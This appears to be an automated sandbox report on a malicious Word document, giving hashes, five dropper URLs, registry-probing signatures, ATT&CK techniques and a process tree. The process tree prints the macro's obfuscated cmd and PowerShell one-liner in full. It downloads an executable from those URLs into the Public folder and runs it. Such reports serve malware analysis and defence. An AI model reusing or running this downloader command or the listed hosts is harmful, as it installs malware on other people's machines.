b5bf06fae173a18e200d6f62b55afc01d5719fed8daddedeec10d4a4b64f730b

General

Target

654f55c80b1d97dfb2f853259df8f729_JaffaCakes118.doc
Size

71KB
MD5

654f55c80b1d97dfb2f853259df8f729
SHA1

4e630ed5e6415c4c10e582abb0e4d4bc4702768a
SHA256

b5bf06fae173a18e200d6f62b55afc01d5719fed8daddedeec10d4a4b64f730b
SHA512

d80c6ab4ae6cc296cd944008388e6711d82b9d8b8b04ef14162127f4b4d56656f6bd17bbd77a20611428d7d3a342c8fc3ea2af7335ca559d221d255084210cea
SSDEEP

768:FtVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBd8LTTnLlCiJRz9wORjKkh58/460B:Ftocn1kp59gxBK85fBCLTbJCNw6Z+a96

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://samix-num.com/BcFUhvDr

exe.dropper

http://economiadigital.biz/NKq5eOZ

exe.dropper

http://ftp.dailyignite.club/YNB95t2

exe.dropper

http://migoshen.org/FNE1TVJjI

exe.dropper

http://vanoostrom.org/w8yXb69h5

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4272	3248	cmd.exe	83

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3248	WINWORD.EXE
3248	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4136	powershell.exe
4136	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4136	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
3248	WINWORD.EXE
3248	WINWORD.EXE
3248	WINWORD.EXE
3248	WINWORD.EXE
3248	WINWORD.EXE
3248	WINWORD.EXE
3248	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3248 wrote to memory of 856	3248	WINWORD.EXE	88
PID 3248 wrote to memory of 856	3248	WINWORD.EXE	88
PID 3248 wrote to memory of 4272	3248	WINWORD.EXE	90
PID 3248 wrote to memory of 4272	3248	WINWORD.EXE	90
PID 4272 wrote to memory of 4136	4272	cmd.exe	92
PID 4272 wrote to memory of 4136	4272	cmd.exe	92

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\654f55c80b1d97dfb2f853259df8f729_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3248
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:856
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $Prairie80='Internal14';$Massachusetts17=new-object Net.WebClient;$Somalia94='http://samix-num.com/BcFUhvDr@http://economiadigital.biz/NKq5eOZ@http://ftp.dailyignite.club/YNB95t2@http://migoshen.org/FNE1TVJjI@http://vanoostrom.org/w8yXb69h5'.Split('@');$solutions78='extend49';$eenable81 = '53';$NorthCarolina56='Lake74';$Rubber84=$env:public+'\'+$eenable81+'.exe';foreach($UgandaShilling85 in $Somalia94){try{$Massachusetts17.DownloadFile($UgandaShilling85, $Rubber84);$Concrete67='endtoend42';If ((Get-Item $Rubber84).length -ge 80000) {Invoke-Item $Rubber84;$Sleek97='ClothingGarden23';break;}}catch{}}$Wooden49='Greens14';
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4272
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell $Prairie80='Internal14';$Massachusetts17=new-object Net.WebClient;$Somalia94='http://samix-num.com/BcFUhvDr@http://economiadigital.biz/NKq5eOZ@http://ftp.dailyignite.club/YNB95t2@http://migoshen.org/FNE1TVJjI@http://vanoostrom.org/w8yXb69h5'.Split('@');$solutions78='extend49';$eenable81 = '53';$NorthCarolina56='Lake74';$Rubber84=$env:public+'\'+$eenable81+'.exe';foreach($UgandaShilling85 in $Somalia94){try{$Massachusetts17.DownloadFile($UgandaShilling85, $Rubber84);$Concrete67='endtoend42';If ((Get-Item $Rubber84).length -ge 80000) {Invoke-Item $Rubber84;$Sleek97='ClothingGarden23';break;}}catch{}}$Wooden49='Greens14';
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4136

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\FAAB7CC2.wmf

Filesize
494B

MD5
864b407718c018b518f1eafec93ef58b

SHA1
f35aff4f95349c0fc47b2cd520dcc06f2bcc62aa

SHA256
ac97cc68d4128f0640e9cfd313ab54b479ecfb259906a976a30cea8e28ec401d

SHA512
1bec36c609b044752babd95579b7aef28be9a879f9aeb320542e47d3039786e00bf88f31d16bf56968eeab01f6b34d7d0dd7b22a9fc744e0b9937664478c7025

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lxvvaaut.5ti.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851227[[fn=sist02]].xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
memory/3248-9-0x00007FF86DA30000-0x00007FF86DC25000-memory.dmp

Filesize
2.0MB

Download
memory/3248-582-0x00007FF86DA30000-0x00007FF86DC25000-memory.dmp

Filesize
2.0MB

Download
memory/3248-23-0x00007FF86DA30000-0x00007FF86DC25000-memory.dmp

Filesize
2.0MB

Download
memory/3248-6-0x00007FF86DA30000-0x00007FF86DC25000-memory.dmp

Filesize
2.0MB

Download
memory/3248-8-0x00007FF86DA30000-0x00007FF86DC25000-memory.dmp

Filesize
2.0MB

Download
memory/3248-1-0x00007FF82DAB0000-0x00007FF82DAC0000-memory.dmp

Filesize
64KB

Download
memory/3248-7-0x00007FF86DA30000-0x00007FF86DC25000-memory.dmp

Filesize
2.0MB

Download
memory/3248-11-0x00007FF86DA30000-0x00007FF86DC25000-memory.dmp

Filesize
2.0MB

Download
memory/3248-10-0x00007FF82B300000-0x00007FF82B310000-memory.dmp

Filesize
64KB

Download
memory/3248-12-0x00007FF86DA30000-0x00007FF86DC25000-memory.dmp

Filesize
2.0MB

Download
memory/3248-13-0x00007FF86DA30000-0x00007FF86DC25000-memory.dmp

Filesize
2.0MB

Download
memory/3248-14-0x00007FF82B300000-0x00007FF82B310000-memory.dmp

Filesize
64KB

Download
memory/3248-18-0x00007FF86DA30000-0x00007FF86DC25000-memory.dmp

Filesize
2.0MB

Download
memory/3248-21-0x00007FF86DA30000-0x00007FF86DC25000-memory.dmp

Filesize
2.0MB

Download
memory/3248-4-0x00007FF86DACD000-0x00007FF86DACE000-memory.dmp

Filesize
4KB

Download
memory/3248-20-0x00007FF86DA30000-0x00007FF86DC25000-memory.dmp

Filesize
2.0MB

Download
memory/3248-5-0x00007FF82DAB0000-0x00007FF82DAC0000-memory.dmp

Filesize
64KB

Download
memory/3248-19-0x00007FF86DA30000-0x00007FF86DC25000-memory.dmp

Filesize
2.0MB

Download
memory/3248-17-0x00007FF86DA30000-0x00007FF86DC25000-memory.dmp

Filesize
2.0MB

Download
memory/3248-16-0x00007FF86DA30000-0x00007FF86DC25000-memory.dmp

Filesize
2.0MB

Download
memory/3248-15-0x00007FF86DA30000-0x00007FF86DC25000-memory.dmp

Filesize
2.0MB

Download
memory/3248-3-0x00007FF82DAB0000-0x00007FF82DAC0000-memory.dmp

Filesize
64KB

Download
memory/3248-2-0x00007FF82DAB0000-0x00007FF82DAC0000-memory.dmp

Filesize
64KB

Download
memory/3248-22-0x00007FF86DA30000-0x00007FF86DC25000-memory.dmp

Filesize
2.0MB

Download
memory/3248-0-0x00007FF82DAB0000-0x00007FF82DAC0000-memory.dmp

Filesize
64KB

Download
memory/3248-553-0x00007FF86DA30000-0x00007FF86DC25000-memory.dmp

Filesize
2.0MB

Download
memory/3248-579-0x00007FF82DAB0000-0x00007FF82DAC0000-memory.dmp

Filesize
64KB

Download
memory/3248-580-0x00007FF82DAB0000-0x00007FF82DAC0000-memory.dmp

Filesize
64KB

Download
memory/3248-578-0x00007FF82DAB0000-0x00007FF82DAC0000-memory.dmp

Filesize
64KB

Download
memory/3248-581-0x00007FF82DAB0000-0x00007FF82DAC0000-memory.dmp

Filesize
64KB

Download
memory/4136-62-0x000001E9BE2B0000-0x000001E9BE2D2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads